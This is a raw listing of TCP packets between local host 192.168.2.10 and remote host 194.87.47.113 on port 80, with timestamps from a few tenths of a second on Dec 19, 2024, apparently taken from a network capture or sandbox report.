Dec 19, 2024 08:21:26.147424936 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.147439957 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.147495985 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.147933960 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.147947073 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.147991896 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.148555994 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.148929119 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.148966074 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.149534941 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.156238079 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.156250000 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.156274080 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.156615019 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.156626940 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.156670094 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.157812119 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.157824993 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.157849073 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.158512115 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.158549070 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.161284924 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.189941883 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.189986944 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.190332890 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.190345049 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.190380096 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.191179037 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.191191912 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.191230059 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.191924095 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.191936016 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.191968918 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.192713022 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.192725897 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.192756891 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.193504095 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.193773985 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.193787098 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.193806887 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.194364071 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.194375992 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.194399118 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.202702999 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.202716112 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.202742100 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.202959061 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.202971935 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.202992916 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.203751087 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.203763962 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.203785896 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.204565048 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.204576969 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.204598904 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.205365896 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.205379963 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.205400944 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.206211090 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.206223965 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.206243992 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.206958055 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.206970930 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.206994057 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.245507002 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.245522022 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.245573997 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.245758057 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.245804071 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.246654987 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.246670008 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.246710062 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.246860981 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.247529984 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.247541904 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.247562885 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.248420954 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.248435020 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.248457909 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.249058008 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.249070883 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.249094009 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.249842882 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.249874115 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.250909090 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.250921011 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.250952959 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.251136065 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.251646042 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.251660109 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.251677990 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.252660990 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.252674103 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.252695084 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.253664017 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.253676891 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.253715992 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.254597902 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.254611969 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.254628897 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.255553961 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.255565882 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.255584955 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.256468058 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.256480932 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.256500006 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.257205963 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.257217884 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.257237911 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.257822037 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.257834911 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.257853985 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.258354902 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.258367062 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.258387089 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.259197950 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.259232044 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.259908915 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.259922981 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.259958982 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.260664940 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.260677099 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.260705948 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.261396885 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.261409998 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.261435032 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.262166977 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.262178898 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.262222052 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.262919903 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.262934923 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.262975931 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.263134003 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.263573885 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.263586044 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.263614893 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.264223099 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.264235020 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.264254093 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.264873981 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.264885902 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.264916897 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.265655041 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.265667915 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.265698910 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.266460896 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.266477108 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.266495943 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.267144918 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.267184973 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.267899990 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.267913103 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.267960072 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.268197060 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.268774986 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.268788099 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.268815994 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.269567966 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.269581079 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.269608974 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.270462036 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.270474911 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.270498991 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.271100044 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.271145105 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.339663029 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.339679956 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.339730978 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.339875937 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.339889050 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.339951038 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.340625048 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.340636969 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.340698004 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.343148947 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.349818945 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.349833012 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.349858999 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.350298882 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.350311995 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.350337029 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.351120949 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.351134062 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.351155043 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.351861000 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.351874113 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.351902008 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.382143974 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.382168055 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.382189035 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.382452965 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.382488966 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.382550955 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.383236885 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.383274078 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.383322954 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.383963108 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.384022951 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.384078026 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.384768963 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.384803057 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.384871006 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.385566950 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.385601044 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.385658026 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.386375904 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.386415958 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.386444092 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.394668102 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.394715071 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.394723892 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.394963026 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.394996881 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.395247936 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.397173882 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.397217989 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.397296906 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.397488117 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.397524118 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.397525072 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.397865057 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.397900105 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.397907019 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.398308039 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.398336887 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.398399115 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.398925066 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.398969889 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.399029016 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.437650919 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.437704086 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.437786102 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.437874079 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.437908888 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.438024044 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.438688993 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.438729048 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.438803911 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.439486980 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.439537048 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.439557076 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.440243006 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.440280914 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.440345049 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.441111088 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.441155910 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.441190958 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.441857100 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.441898108 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.441952944 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.442749977 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.442787886 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.442821980 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.443531036 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.443571091 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.443573952 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.444225073 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.444272041 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.444341898 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.445080996 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.445127010 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.445177078 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.445801020 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.445846081 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.445895910 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.446626902 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.446665049 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.446805000 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.447411060 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.447444916 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.447518110 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.448157072 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.448196888 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.448267937 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.448961020 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.449001074 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.449059010 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.449753046 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.449790955 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.449848890 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.450577021 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.450612068 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.450701952 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.451348066 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.451385021 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.451456070 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.452182055 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.452218056 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.452219963 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.453011036 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.453046083 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.453129053 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.453771114 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.453859091 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.453860044 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.454550982 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.454591990 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.454766989 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.455513954 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.455565929 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.455611944 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.456274033 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.456314087 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.456348896 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.456933022 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.456970930 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.457036972 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.457683086 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.457726002 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.457770109 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.458482981 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.458518982 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.458627939 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.459230900 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.459264994 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.459297895 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.460045099 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.460082054 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.460190058 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.460834026 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.460880995 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.460952997 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.461736917 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.461779118 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.461827040 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.462430954 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.462480068 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.462522984 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.463185072 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.463227034 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.531627893 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.531672955 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.531717062 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.531877041 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.532030106 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.532067060 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.532670975 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.532825947 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.532870054 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.533457994 CET	80	49720	194.87.47.113	192.168.2.10
